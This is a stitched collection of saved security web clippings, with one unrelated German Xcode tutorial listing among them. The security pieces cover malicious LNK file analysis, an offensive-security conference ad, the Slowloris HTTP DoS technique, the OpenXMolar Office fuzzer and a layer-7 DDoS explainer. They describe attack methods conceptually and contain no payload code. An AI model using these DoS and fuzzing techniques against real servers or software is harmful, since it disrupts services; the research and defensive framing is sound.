File Attributes:

\----------------

Read only: False

Hidden: False

System: False

Directory: False

Archive: False

Normal: False

Temp: False

Sparse: False

Reparse point: False

Compressed: False

Offline: False

Not content indexed: False

Encrypted: False

  

Link Target IDList

==================

**Byte count: 20**

**Data: b'\x1fP\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+'**

**  
**

**Byte count: 20**

**Data: b'.\x1e \xec\!\xea:i\x10\xa2\xdd\x08\x00+'**

**  
**

**Byte count: 268**

**Data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x00\x00\x00'**

  

Byte count: 0

Data: Not in file

+---------------------------------------------------------------------+

  

In red you can see the elements that constitutes evidences of the malicious
nature of the lnk.

  

Microsoft decided to close the Specifications of Shell Link Format, this blog
post is a little abstract of the structure of lnk files, with some other
collateral information. Lnk need more and more analysis and research, with
these informations and with the help of python scripting is also trivial to
build a Lnk Fuzzer to further investigate new possible vulnerabilities.

  

See you to the next post,

Giuseppe 'Evilcry' Bonfa

# Infiltrate 2011: Get in, Stay in

**Created:**| _12/27/2010 8:38:08 AM_  
---|---  
**Updated:**| _12/27/2010 8:38:14 AM_  
**Author:**| __  
**Tags:**| _bookmark awesome_  
  

## **_Infiltrate 2011: Get In, Stay In_**

**April 16 - 17** The National Hotel \- South Beach  
Training: April 12-15, 18-22 | Conference: April 16-17  

Immunity will be hosting our first deep technical security conference that
will focus entirely on offensive technical issues in Miami Beach on April
16-17. Infiltrate will be the single-most important event for those who are
focused on the technical aspects of offensive security issues. No policy or
high-level presentations, just hard-core thought provoking technical meat.
World-renowned researchers focused on the latest technical issues will do the
presentations - demonstrating techniques you can't learn about anywhere else.
In order to keep Infiltrate accessible, we are limiting attendance to 100
attendees.

In addition to two days of seminars, Immunity is also offering training both
before and after the event. Both Immunity's most popular class "Unethical
Hacking" and a new offering, the Immunity Master Class are available. This is
the only venue where these classes are offered to the public.

We have secured special discounted pricing for hotel rooms at the National
Hotel, which is where we will be hosting the conference. The National Hotel is
a beautiful facility, located directly on the sand, in the heart of South
Beach. It is an ideal location for bringing along family/friends/significant
others/etc.

Infiltrate will be held at the UNCLASSIFIED level. Nametags will not be
provided \(so don't lose your wristbands\). Picture taking and video use will
be restricted while at the event itself.

We hope to see you here on April 16-17th\!

**_Being offensive has never been so good._**

  

# Slowloris HTTP DoS ha.ckers.org web application security lab

**Created:**| _6/17/2009 3:44:55 PM_  
---|---  
**Updated:**| _6/17/2009 3:45:28 PM_  
**Author:**| __  
**Tags:**| _web-app-sec attacks web DoS Firewalls Hacks_  
  

## Slowloris HTTP DoS

As you may recall at one point a few weeks back I talked about how denial of
service can be used for hacking and not just yet another script kiddy tool.
Well I wasn’t speaking totally hypothetically. A month ago, or so, I was
pondering Jack Louis \(RIP\) and Robert E Lee’s Sockstress, and I got the
feeling that other unrelated low bandwidth attacks were possible. Then I
randomly started thinking about the way Apache works and figured out that it
may be possible to create something similar to a SYN flood, but in HTTP.

Slowloris was born. It basically uses a concept of keeping an HTTP session
alive indefiniately \(or as long as possible\) and repeating that process a
few hundred times. So in my testing, against an unprotected and lone Apache
server, you can expect to be able to take it offline in a few thousand packets
or less on average, and then you can let the server come back again as soon as
you kill the process. It also has some stealth features, including a method of
bypassing HTTPReady protection. Why is this noteworthy?

Typical flooding attacks require tons and tons of packets and end up denying
service to other applications as a result. By creating a flood of TCP
requests, sure you can take down an upstream router, or a web server, but it’s
overkill if you really just want to take down a single website. Slowloris does
this without sending an overabundance of TCP or HTTP traffic, and it does so
without increasing the load significantly, or in any other way hurting the box
\(assuming other things aren’t tied to the HTTP processes - like a database
for instance\). This appears to only affect certain types of webservers
\(generally those that thread processes, like Apache, but not like IIS\).

So I contacted Apache a week ago, because I was a little concerned that I
hadn’t heard much about this, other than one conversation with HD Moore about
a similar attack he encountered using a different payload. I expected a well
thought through response, given their dominance in the server market and the
fact that I gave them an early copy of the code. Alas:

> DoS attacks by tying up TCP connections are expected. Please see:
> http://httpd.apache.org/docs/trunk/misc/security\_tips.html\#dos
> Regards, Joe
Yes, that was the entire response. So, while RTFM is a perfectly valid
response on the Internet, it’s also extremely short sighted, because _almost_
no servers are configured properly - or if they are, it’s as a side effect of
needing load balancing or something upstream that happens to protect them.
Also, if you actually read that Apache.org page, it really doesn’t cover this
attack at all. And Joe sorta totally missed the boat or at least mis-typed in
his brevity, because this isn’t a TCP DoS, it’s an HTTP DoS. If your server
used UDP and I re-wrote Slowloris to speak UDP it would work too. The best
example of how this differs from a TCP DoS is the fact that other unrelated
services are unaffected, and you can still connect to them like you normally
would.

The reason this works is because **the web server will patiently wait well
beyond what is reasonable, allowing an attacker to consume all of the
available threads of which there are a finite amount**. That makes it a web
server problem, not a OS or networking problem, although there may be OS or
network solutions to Apache’s default configuration issues. This is further
evidenced by the fact that IIS isn’t vulnerable to Slowloris in it’s current
incarnation. Even if Apache and IIS are on the same physical box, Apache will
be affected but IIS will not. That would lead me to believe it’s a
architectural flaw in Apache’s default web server’s design. Though this isn’t
just Apache’s problem, to be fair. Other web servers are vulnerable as well,
although none come close to the size of Apache in terms of market share. You
can find more information on the Slowloris page.

Anyway, I hope this gets people thinking about better web server architecture.
That’s especially true if this is “expected” behavior of their web server, and
at least offer a default configuration that can protect from this sort of
attack, instead of having to jump through a bunch of convoluted hoops. I
thought it would be better to open this up for discussion, so I encourage you
to try out the tool in QA or staging and see how your web server handles it.
The software is very beta though, so do not use this against anything in
production - I make no warranties about its ability to do anything outside of
a lab environment\!

# Xcode von NULL auf Hundert: Videocast

**Created:**| _9/16/2009 8:24:41 AM_  
---|---  
**Updated:**| _9/16/2009 8:25:25 AM_  
**Author:**| __  
**Tags:**| _Tutorials programming_  
  

# Xcode von NULL auf Hundert;

## \#009: Das Taschenrechner-Projekt \(Teil 2\) \(61:21 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />  

Ingo + Peter / 13. Sep 2009, 10:34 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#009: Das
Taschenrechner-Projekt (Teil 2)' />

Jetzt testen wir euer Durchhaltevermögen\! Auf vielfachen Wunsch in den
Kommentaren und per Mail geben wir es euch diesmal so richtig ... statt zwei
Folgen draus zu schnippeln gibt es den zweiten Teil des Taschenrechners als
60-minütige "all-in-one"-Doppelfolge - ohne Werbepause\!  
  
Nachdem wir im ersten Teil das Projekt vorbereitet haben, bewegen wir uns
diesmal ausschließlich im Xcode-Editor. Ihr lernt _sehr viele_ neue Kommandos
und Standard-Methoden kennen: `typedef, enum, alloc, init, release, dealloc`,
... damit nehmen wir unter anderem Bezug auf die Theorie aus Folge \#007. Und
weil das alles so viel ist, verweisen wir zusätzlich nochmals auf folgende,
begleitende Blogartikel:

  * \#007: Speicher, Zeiger und Objekte
  * Objekte erstellen
  * Retain, Release und Autorelease  
Das ist nun wirklich sehr viel Input auf einmal. Gebt uns bitte Feedback, wie
euch die Doppelfolge gefallen hat, ob ihr zwischendurch doch eingeschlafen
seid oder euer Gehirn abgeschaltet hat\!  
Wer aber immer noch gelangweilt ist und sich schonmal auf die kommende Folge
vorbereiten will, der kann ja unseren Artikel Operatoren, Teil 2 lesen\!  
  
Und hier gibts nun noch das komplette und kommentierte Xcode-Projekt unseres
Taschenrechners: Taschenrechner.zip

12 Kommentare | Permalink | Trackback-Info

* * *
  

# \#008: Das Taschenrechner-Projekt \(Teil 1\) \(31:34 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo + Peter / 6. Sep 2009, 10:09 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#008: Das
Taschenrechner-Projekt (Teil 1)' />

Jetzt packen wir all euer bisheriges praktisches und theoretisches Wissen
zusammen und wenden es an: Wir zeigen, wie man ein kleines Projekt von Anfang
bis Ende verwirklicht. Auch kommt das Model-View-Controller-Prinzip aus der
Videocast-Folge \#002 zum ersten Mal richtig zum Einsatz und ihr erzeugt neben
String-Objekten nun auch erstmals eure eigenen Objekte, wie ihr es in der
letzten Folge zunächst in theoretischer Form kennengelernt habt. Natürlich
kommen auch wieder ein paar neue Methoden und ObjectiveC-Kommandos hinzu. Ihr
werdet sogar welche komplett selbst programmieren\!  
  
Da man auch ein kleines Projekt nicht in 30 Minuten fertigstellen kann - schon
gar nicht, wenn man erklären muss, was man da eigentlich tut - kommt es in
mehreren Folgen daher. In den Folgen werden wir uns immer tiefer in Xcode
eingraben.  
  
In dieser Folge starten wir noch relativ harmlos mit der Benutzeroberfläche
und den ersten Funktionalitäten. Dinge, die ihr schon kennt und die nicht zum
Verständnis des Projekts beitragen, passieren allerdings nur noch im
Zeitraffer - im wahrsten Sinne des Wortes...  
  
_Weitere angesprochene Artikel im Videocast:_

  * Xcode 3.2 ist beta
  * Umfrage: Ein Forum für 0x02100
  * Buchempfehlung  

19 Kommentare | Permalink | Trackback-Info

* * *
  

# \#007: Speicher, Zeiger und Objekte \(25:20 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo + Peter / 30. Aug 2009, 11:55 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#007: Speicher,
Zeiger und Objekte' />

 _Jetzt gehts ans Eingemachte\!_  
Nachdem wir erstmal unsere Aufgabe aus der letzten Folge auflösen geben wir
dieses Mal so richtig Gas. Das wahre Programmiererleben fängt mit dieser Folge
an. Und das wahre Programmiererleben ist erstmal ein Haufen Theorie, damit ihr
in Zukunft eigene Objekte erstellen könnt. Und das A und O, wenn man mit
Objekten hantieren möchte, ist die Speicherverwaltung. Ingo hält dazu wieder
eine Lehrstunde ab und Peter staunt ;\)  
  
Wenn ihr euch im Anschluss mit noch mehr Theorie auf die kommende Folge
vorbereiten wollt, dann könnt ihr auch schon unsere beiden Grundlagenartikel
Objekte erstellen und Retain, Release und Autorelease lesen\!

10 Kommentare | Permalink | Trackback-Info
* * *
  

# \#006: Theorie und Syntax \(29:07 Minuten\) <img src='img/Temp2_9955.png'
width='22' height='25' />

Ingo + Peter / 23. Aug 2009, 00:59 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#006: Theorie und
Syntax' />

Bevor es in den kommenden Folgen so langsam ans Eingemachte geht, da führen
wir erst noch eine neue Kontrollstruktur ein, nämlich `switch`. Außerdem gibts
eine kleine Theoriestunde mit ein paar Fachbegriffen, damit ihr uns auch
versteht, wenn wir ohne Methode von Methoden reden...  
Viel Spaß\!

8 Kommentare | Permalink | Trackback-Info
* * *
  

# \#005: Kontrollstrukturen \(28:08 Minuten\) <img src='img/Temp2_9955.png'
width='22' height='25' />

Ingo + Peter / 16. Aug 2009, 12:45 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#005:
Kontrollstrukturen' />

Das erste Jubiläum - Folge 5\! Wenn eine so schöne unrunde Zahl erreicht ist,
muss man entscheiden wie es weiter gehen soll. Und so eine Entscheidung lässt
sich auch programmatisch treffen - mit einer Kontrollstruktur: Wenn das und
das Ereignis eintrifft, tu das und das.  
Und darum gehts auch in dieser Ausgabe. Die simpelste aller Kontrollstrukturen
ist das **if** , also die Wenn-Bedingung. Da sich diese mit unserem Hello
World schlecht erklären ließ, erstellen wir ein neues Projekt und sorgen so
auch für Wiederholung bekannten Wissens - im Schnelldurchgang damit es euch
nicht langweilig wird ;\).

21 Kommentare | Permalink | Trackback-Info
* * *
  

# \#004: Aufhübschen und Erweitern \(30:50 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo + Peter / 9. Aug 2009, 22:24 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#004: Aufhübschen
und Erweitern' />

Mit einer kleinen Verspätung - ja, auch wie haben noch ein Leben neben Xcode -
werfen wir nochmals einen Blick auf unser "Hello World"-Programm. Die
Oberfläche kann noch einigen Feinschliff vertragen und bekommt dabei auch
gleich noch einige neue Knöpfe. Und daraus ergibt sich \(Premiere\!\) eine
Aufgabe an die werte Zielgruppe. Versucht doch einfach, einen neuen Knopf zum
Löschen des Eingabe- und Ausgabefelds hinzuzufügen.  
Auf Wunsch stellen wir die Lösung als Quellcode auf unserem Blog zur Verfügung
und gegen Bestechung nehmen wir auch ein Video auf. Happy hacking\!  
  
PS: Bei der Aufnahme waren wir beide noch im Halbschlaf - sehts uns nach,
okay?\!

14 Kommentare | Permalink | Trackback-Info
* * *
  

# \#003: Syntax und Dokumentation \(31:49 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo + Peter / 2. Aug 2009, 09:34 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#003: Syntax und
Dokumentation' />

Diesmal gehen wir das erste Mal auf die **Syntax** , also die Grammatik der
bisher geschriebenen Codezeilen ein und zeigen euch erste Schritte, um mit der
in Xcode integrierten Dokumentation zurecht zu kommen.  
Natürlich haben wir auch wieder unsere Buchempfehlung und gehen auf ein paar
wichtige Tastaturkürzel ein\!

6 Kommentare | Permalink | Trackback-Info
* * *
  

# \#002: Hello World\! Datenein- und ausgabe \(33:07 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo + Peter / 26. Jul 2009, 09:23 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#002: Hello World!
Datenein- und ausgabe' />

Diesmal schreiben wir ein kleines Programm, dass die Verzahnung von Interface
Builder und Xcode anhand einer ganz simplen Datenein- und ausgabe
demonstriert. Wir zeigen euch das erste Mal handgeschriebene Codezeilen,
erklären aber noch nicht genau, was sie bedeuten. Es geht nur um das
Verständnis, also die Art und Weise, wie man in Xcode Programme schreibt.  
Falls Ihr das Programm aus dem Film nachbauen wollt, hier der Programmcode aus
dem Film:  

`- (IBAction)pushStart:(id)sender {  
NSString* name = [eingabe stringValue];  
[ausgabe setStringValue:name];  
}`

  
Auch wenn es in der Folge aufgrund der Thematik etwas trocken zugeht wünschen
wir euch viel Spaß\!

17 Kommentare | Permalink | Trackback-Info
* * *
  

# \#001: Xcode installieren \(20:15 Minuten\) <img src='img/Temp2_9955.png'
width='22' height='25' />

Ingo + Peter / 19. Jul 2009, 10:19 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#001: Xcode
installieren' />

Da ist sie nun - die erste Folge unseres Videocasts\! Wir zeigen euch, wo ihr
Xcode erhaltet, wie ihr es installiert, geben euch Tipps für die Konfiguration
und erstellen auch ein erstes, kleines Programm - wenn man das schon so nennen
mag. ;\)  
**Leider hatte Ingo etwas Probleme mit dem Ton. Es kratzt ein bisschen.** Er
verspricht fürs nächste Mal Besserung\! Trotzdem viel Spaß beim Zuschauen\!  
  
Bevor Ihr Xcode laden könnt, müsst ihr bei der Apple Developer Connection
angemeldet sein. Unter Registrierung findet ihr die passenden Links.  
  
**Für Intel-Macs:**  
Download der Developer Tools: http://developer.apple.com/iphone/  
Registrierung: http://developer.apple.com/iphone/program/start/register/  
  
**Für PowerPC-Macs:**  
Download der Developer Tools: http://developer.apple.com/mac/  
Registrierung: http://developer.apple.com/products/membership.html
\(kostenlose ADC Online Membership\)  
  
**Panic Sans Font:**  
Für diesen fürs Programmieren sehr empfehlenswerten Font müsst ihr Coda von
der Seite http://www.panic.com/coda laden. Im Paketinhalt findet ihr dann
unter Contents/Resources den Panic Sans.dfont. Aber auch dafür haben wir einen
eigenen Film vorbereitet.

**_Trackbacks:_**  
http://www.macapper.de/software/xcode-podcast/  
http://www.cyberbloc.de/index.php?/site/v3\_comments/0x02100\_der\_videopodcast\_xcode\_anfaenger/  
http://risetothesky.wordpress.com/2009/08/30/0x02100-ein-toller-podcast-zum-
thema-xcode-und-objective-c/  
http://www.aptgetupdate.de/2009/09/04/podcast-xcode-von-null-auf-hundert/  

6 Kommentare | Permalink | Trackback-Info
* * *
  

# \#000: Das Videocast-Filmintro ist fertig \(0:14 Minuten\) <img
src='img/Temp2_9955.png' width='22' height='25' />

Ingo / 5. Jul 2009, 11:52 Uhr. Gespeichert in: Videocast

<img src='img/Temp2_9954.png' width='80' height='80' alt='#000: Das Videocast-
Filmintro ist fertig' />

Das Intro, das demnächst vor jedem Videobeitrag zu sehen sein wird, ist
fertig. komplett in HD. Hier kann man es schonmal sehen\! Unter dem logo wird
immer das Thema der Folge eingeblendet werden. Nach der Schwarzblende beginnt
dann direkt der Screencast.  
Wir werden nun relativ schnell mit der ersten Folge starten. Der Termin hängt
noch etwas davon ab, wie schnell wir unseren RSS-Feed verteilt bekommen. Das
gilt insbesondere für iTunes.

0 Kommentare | Permalink | Trackback-Info
  

# OpenXMolar: A OpenXML File Format Fuzzing Framework\! - PenTestIT

**Created:**| _6/29/2017 4:04:01 PM_  
---|---  
**Updated:**| _6/29/2017 4:04:01 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# OpenXMolar: A OpenXML File Format Fuzzing Framework\!

by Black. Updated on _June 23, 2017_ @pentestit 765 views

<img src='img/logo.png' width='120' height='90' alt='OpenXMolar' />All of us
know that in file format fuzzing, we fuzz different aspects of a file such as
flags, file format constraints, structures etc. by generating multiple
malformed samples, opening them and waiting for the program crash. We then
process the generated debug information to find out if we found something
interesting in the crash. Surprisingly, there is a dearth of file format
fuzzers. However, we now have **OpenXMolar** for the Microsoft Windows
operating system.  

## What is OpenXMolar?

OpenXMolar is an open source fuzzing framework in Python for the Microsoft
OpenXML file formats such as _.xls, .doc, .ppt, .wps_ , etc. Microsoft OpenXML
files are nothing but a zipped archive of multiple files and are supported on
multiple platforms. The author – Debashish Mandal \(@debasishm89\) did not
find any other fuzzing framework to do this and hence built it himself. It has
the following Python dependencies – _winappdbg_ or _pydbg_ for debugging,
_pyautoit_ for automation, _crash\_binning_ from the sulley framework and
_xmltodict_ for XML string manipulation.  
<img src='img/OpenXMolar2.png' width='481' height='170' alt='OpenXMolar' />

## OpenXMolar architecture:

This is an overview of the open source fuzzing framework architecture:

  * OpenXMolar.py: This is the core component of this Tool and responsible for doing many important stuffs like the main fuzzing loop.
  * OfficeFileProcessor.py: This component mostly handles processing of OpenXML document such as packing, unpacking of OpenXML files, mapping them in memory, converting OpenXML document to python data structures etc.
  * PopUpKiller.py: This component suppresses/kills unwanted pop-ups appeared during fuzzing.
  * FileFormatHandlers: An OpenXML file may contain various files like XML files, binary files etc. FileFormatHandlers are basically a collection of mutation scripts, responsible for handling different files found inside an OpenXML document and mutate them. These are the file format handlers:
    * xmlHandler.py: Responsible for mutation of XML files.
    * binaryHandler.py: Responsible for mutation of binary format files.
  * OXDumper.py: This component decompresses OpenXML files provided in folder “OpenXMolar\BaseOfficeDocs\OpenXMLFiles” and output a python list of files present in the OpenXML file. It accepts comma separated file extensions. OXDumper.py is useful when you are targeting any specific set of files present in any OpenXML document.
  * crashSummary.py: This component summarizes crashes found during fuzzing process in tabular format.

_OpenXMolar_ is completely customizable – right from autoit automation to how
do you fuzz the files. In my default sample run, I had the following output:

[code]

    >python OpenXMolar.py config.py
    [Warning] Pydbg was not found. Which is required to run this fuzzer. Install Pydbg First. Ignore if you have winappdbg installed.
    
       ____                    __   ____  __       _
      / __ \                   \ \ / /  \/  |     | |
     | |  | |_ __   ___ _ __    \ V /| \  / | ___ | | __ _ _ __
     | |  | | '_ \ / _ \ '_ \    > < | |\/| |/ _ \| |/ _` | '__|
     | |__| | |_) |  __/ | | |  / . \| |  | | (_) | | (_| | |
      \____/| .__/ \___|_| |_| /_/ \_\_|  |_|\___/|_|\__,_|_|
            | |
            |_|
            An MS OpenXML File Format Fuzzing Framework.
            Author : Debasish Mandal (twitter.com/debasishm89)
    
    [+] 2017:06:22::21:38:37 Using debugger :  winappdbg
    [+] 2017:06:22::21:38:37 POP Up killer Thread started..
    [+] 2017:06:22::21:38:38 Loading base files in memory from :  BaseOfficeDocs\UnpackedMSOpenXMLFormatFiles
    [+] 2017:06:22::21:38:38 Trying to indentify base OpenXML internal file types and choosing mutation handler accordingly :
    [+] 2017:06:22::21:38:38 For extension :  xml , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  fpage , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  rels , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  fdoc , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  fpage , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  struct , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  odttf , selecting mutation handler => binaryHandler.py
    [+] 2017:06:22::21:38:38 For extension :  rels , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  rels , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  fdseq , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  fpage , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  xml , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  frag , selecting mutation handler => SampleHandler.py
    [+] 2017:06:22::21:38:38 For extension :  jpeg , selecting mutation handler => binaryHandler.py
    [+] 2017:06:22::21:38:38 Starting Fuzzing
    [+] 2017:06:22::21:38:39 Temp cleaner started...
    [+] 2017:06:22::21:38:39 Cleaning Temp Directory...
[/code]

## Install OpenXMolar:

This fuzzer is well tested on 32 Bit and 64 Bit Windows Platforms \(32 Bit
Office Process\). All the required libraries are distributed with this fuzzer
in ‘ExtDepLibs/’ folder. Hence if you have installed python v2.7, you are good
to go. However on my test Windows 10 system, it did not detect pyautoit. I
installed it using:

[code]

    pip install -U https://github.com/jacexh/pyautoit/archive/master.zip
[/code]

I was then fine and good to go\! You can read more and check out OpenXMolar
v1.0 **here**.

  

# Layer Seven DDoS Attacks - InfoSec Institute

**Created:**| _5/4/2014 9:36:54 AM_  
---|---  
**Updated:**| _5/4/2014 10:25:05 AM_  
**Author:**| __  
**Tags:**| _DoS network-security protocol-analysis_  
  

# Layer Seven DDoS Attacks

**What is Layer 7?**

The process of sending and receiving data from one host to another, data
encapsulation, is possible due to the existence of a seven layer protocol
suite presented as the OSI model \(see diagram 1\).

Although while examining DoS attacks, we’ll occasionally refer to various
layers of this OSI model, special emphasis is to be laid upon the seventh
layer, the application layer. In essence, it procures an interface to end-user
tasks, and facilitates programs such as web browsers, email services, and
photo applications in sending network communications \(e.g., SMTP or HTTP\).

**Diagram**

<img src='img/Temp2_4846.jpg' />

**layer seven DDoS Attacks Compared to Other Types**

The tendency of DDoS attacks shows infallibly that perpetrators take aim and
move up the OSI network model over time. The relocation of the prime target is
logical, since more DDoS defence systems focus their primary detection powers
on lower layers \(Imperva, 2012\). Therefore, attacks on the web application
layer are increasingly popular. Furthermore, layer seven penetration, the top
layer in the OSI model, provides an outlet on a business logic layer, which is
considered an abstract extension of the aforementioned network protocol suite
\(F5 Networks, Inc. 2013\).

Given that the internet is built vertically by multiple protocol layers, it
would be perfectly understandable if internet DDoS attacks assume a vertical
classification, as well \(Abliz, 2011\).

If we adopt this approach, some common types of DDoS attacks include:

  * IP attacks on the network bandwidth – Layer 3 \(Network Protocol\)
  * TCP attacks on server sockets – Layer 4 \(Transport Protocol\)
  * HTTP attacks on Web server threads – layer seven \(Application Protocol\)
  * Web application attacks on CPU resources – layer seven+

\(Imperva, 2012\)

Now that we grasp the difference between DDoS attacks, in terms of OSI model
classification, let’s go through some general features that distinguish layer
seven DDoS attacks from others:

  1. While network layer DDoS attacks attempt to overwhelm the victim server with bogus requests, the application layer DDoS attacks rely on legitimate ones \(Beitollahi & Deconinck, 2011\).
  2. In layer seven DDoS attacks, attacking computers have to set up a full TCP connection. Thus, while providing genuine IP addresses is something you cannot dispense with, the entire action proceeding may seem legitimate in the absence of traffic spikes. They may virtually swindle even a vigilant DDoS defence mechanism, and they’re stealthy. \(Manthena, 2011\).
  3. A layer seven DDoS attack, in contrast to the others, may exploit vulnerabilities in application software, thus circumventing detection and aiming directly at the targeted Web server \(Manthena, 2011\). In other words, they are more sophisticated, since they do not count entirely on a brute force to achieve desired ends.
  4. Perhaps the most notable difference; so-called volumetric DDoS attacks strive to bring down network infrastructure and servers by employing high-bandwidth-consuming flooding. That benefits from an inherent blind spot of the internet medium. On the other hand, layer seven DDoS attacks take the victim server in the rear, first engaging well-known applications such as Hypertext Transfer Protocol \(HTTP\), Voice Over Internet Protocol \(VoIP\), or Domain Name System \(DNS\) \(Arbor Networks, Inc. 2012\).
  5. The goal of application layer DDoS attacks usually have nothing to do with overwhelming bandwidth. Some IT experts call them “low and slow” for a reason. Frequently, at close range are exhausted CPU or memory resources. Hence, layer seven DDoS leverage as well inherent flaws and limitations of applications, for example, system resources are always finite. There’s surprise here actually. Heavy resource consumption will eventually render the server incapacitated \(Imperva, 2012\).
  6. Protection and mitigation of common volumetric attacks is something that IT specialists are well familiar with. In contrast, layer seven DDoS attacks often stand as a more formidable challenge \(Breaking Point Labs, 2011\).

The outlined picture of importance and future prevalence of application layer
DdoS attacks was shared by experts from the OWAS Foundation in 2010: “We
believe layer seven attacks may supersede layer four as the modus operandi of
DDoS botnets in this new decade \(Breaking Point Labs, 2011, par. 5\).”

**Layer Seven DDoS Attacks Statistics**

To continue the layer seven DDoS topic, let’s review a couple of interesting
sources of relevant statistics. First, according to Arbor’s statistical
information, with an over 102% increase of DDoS attack size when compared to
the previous year, 2010 appears to be a cornerstone in DDoS evolution. A year
later, a _Radware Security Survey: Attack Count by Type and Bandwidth_ claims
that application layer attacks are prevalent _:_

**Diagram**

In 2012, Prolex’s annual report mentioned a 42.97 % growth in layer seven DdoS
attacks.

<img src='img/Temp2_4845.jpg' width='895' height='525' alt='diagram2' />

**Diagram**

Total Application Layer Attacks 2011 vs. 2012

<img src='img/Temp2_4844.jpg' />

In addition, quarterly reports by Prolex show a definite tendency of
increasing popularity, particularly of HTTP GET DDoS attacks in the period
from April 2012 to June 2013.

**Diagram**

<img src='img/Temp2_4843.jpg' />

**Why Are Application-Layer DDoS Attacks Such a Vexing Threat?**

The top layer of the internet protocol suite has two main categories of
protocols: protocols that directly service users \(e.g., HTTP, FTP, IMAP,
Telnet, SMPT/POP, IRC, XMPP, SSH etc.\) and support protocols that underpin
various system functions \(e.g., DNS, SNMP, BOOTP/DHCP, TLS/SSL, SIP, RTP, NTP
etc.\) \(Abliz, 2011\).

Here are seven reasons of why layer seven DDoS attacks represent such a vexing
threat:

**_May affect many different applications_**

Any one of the protocols examined above may be subject to a DDoS attack
\(Abliz, 2011\). Many of them target HTTP to exhaust a web server’s vitality
\(Breaking Point Labs, 2011\).

**_Highly-targeted strikes_**

According to general practice, layer seven DDoS attacks are often customized
to target a specific web application. For example, web servers that run a
combination of Java, PHP5, and ASP.NET may be targeted by specially crafted
HTTP requests, which may collide with the web server’s hashing operation “when
unique requests return non-unique and overlapping responses \(Katz, 2012, p.
3\).” A great amount of these “hash-busting” requests sent in a short time,
like a MG-42 machine gun, would deplete essential web resources and create a
denial of service.

**_Simplicity of layer seven_**

It’s thought that if thousands of users simultaneously keep pressing the
refresh button on their browsers, that would crash the server soon or later.
Whether or not it’s possible, many hacktivists use layer seven DDoS attacks
time and again. An unsophisticated “low and slow” attack, for instance, is the
one that struck a major credit card company that ceased providing services to
WikiLeaks in 2010. In this case, the first experienced downtime was caused by
a brute-force HTTP traffic flood towards application, originating from
approximately 940 computers \(Katz, 2012\).

### _Maximum Results with Limited resources_  

Unlike other denial of service attacks, layer seven requires very little
investment by attackers. In fact, along with the ulterior nature of the
weaponry in question, a feasible execution presupposes tactics reminiscent of
guerrilla warfare \(Kenig, 2013\).

**_Conducive to collateral damage_**

Application layer DDoS attacks carry a special mark. A DNS attack, for
instance, directed at single DNS provider, may spread and affect all of its
customers \(Arbor Networks Inc., 2012\).

### _Appearance of legitimacy_  

Slow traffic, legitimate as far as protocol rules and rates are concerned, and
normal and complete TCP connections, are the main prerequisites that entail
the benign appearance typical of layer seven DdoS attacks.

**_Bypass one security shield or take the “shortcut”_**

As a usual practice, applications that are subject to attack are usually
“allowed” through security devices such as firewalls or IPS devices \(e.g.,
HTTP or DNS traffic\) \(Arbor Networks, Inc. 2012\). Hence, one security layer
can be eliminated with ease.

**Diagram**

In addition, whereas a Network DDoS attack operates in the logical “Access
Zone,” an application DDoS attack targets the “Application Zone.” That
consists of the web front-end and the data storage for it. In order for an
application DDoS attack to be successful, it has to go around the entire set
of “Access Zone” devices and mechanisms in place, take advantage of a security
gap on the “Application Zone,” and then finally inject a payload that goes on
to establish a direct communication line with the web server, to strike either
the server itself or application \(Imperva, 2012\).

**Layer seven DDoS methods and attacks**

** _Types of common layer seven DDoS attacks_**

They’re divided into four basic categories:

Request-Flooding Attacks

High rates of seemingly legitimate application requests, such as HTTP GETs,
DNS queries and SIP INVITEs\), deluge web servers to degrade and disrupt its
normal functioning.

Asymmetric Attacks

“High-workload” requests that take a heavy toll of server resources such as
CPU, memory or disk space.

Repeated Single Attacks

An isolated “high-workload” request being sent across many TCP sessions, a
stealthier way to combine asymmetric and request-flooding layer seven DDoS
attacks.

**Want to learn more??** The InfoSec Institute Ethical Hacking course goes in-
depth into the techniques used by malicious, black hat hackers with attention
getting lectures and **hands-on lab exercises**. While these hacking skills
can be used for malicious purposes, this class teaches you how to use the same
hacking techniques to perform a white-hat, ethical hack, on your organization.
You leave with the ability to quantitatively assess and measure threats to
information assets; and discover where your organization is most vulnerable to
black hat hackers. Some features of this course include:

  * **Dual Certification** \- CEH and CPT
  * 5 days of Intensive **Hands-On Labs**
  * Expert Instruction
  * CTF exercises in the evening
  * Most up-to-date proprietary courseware available

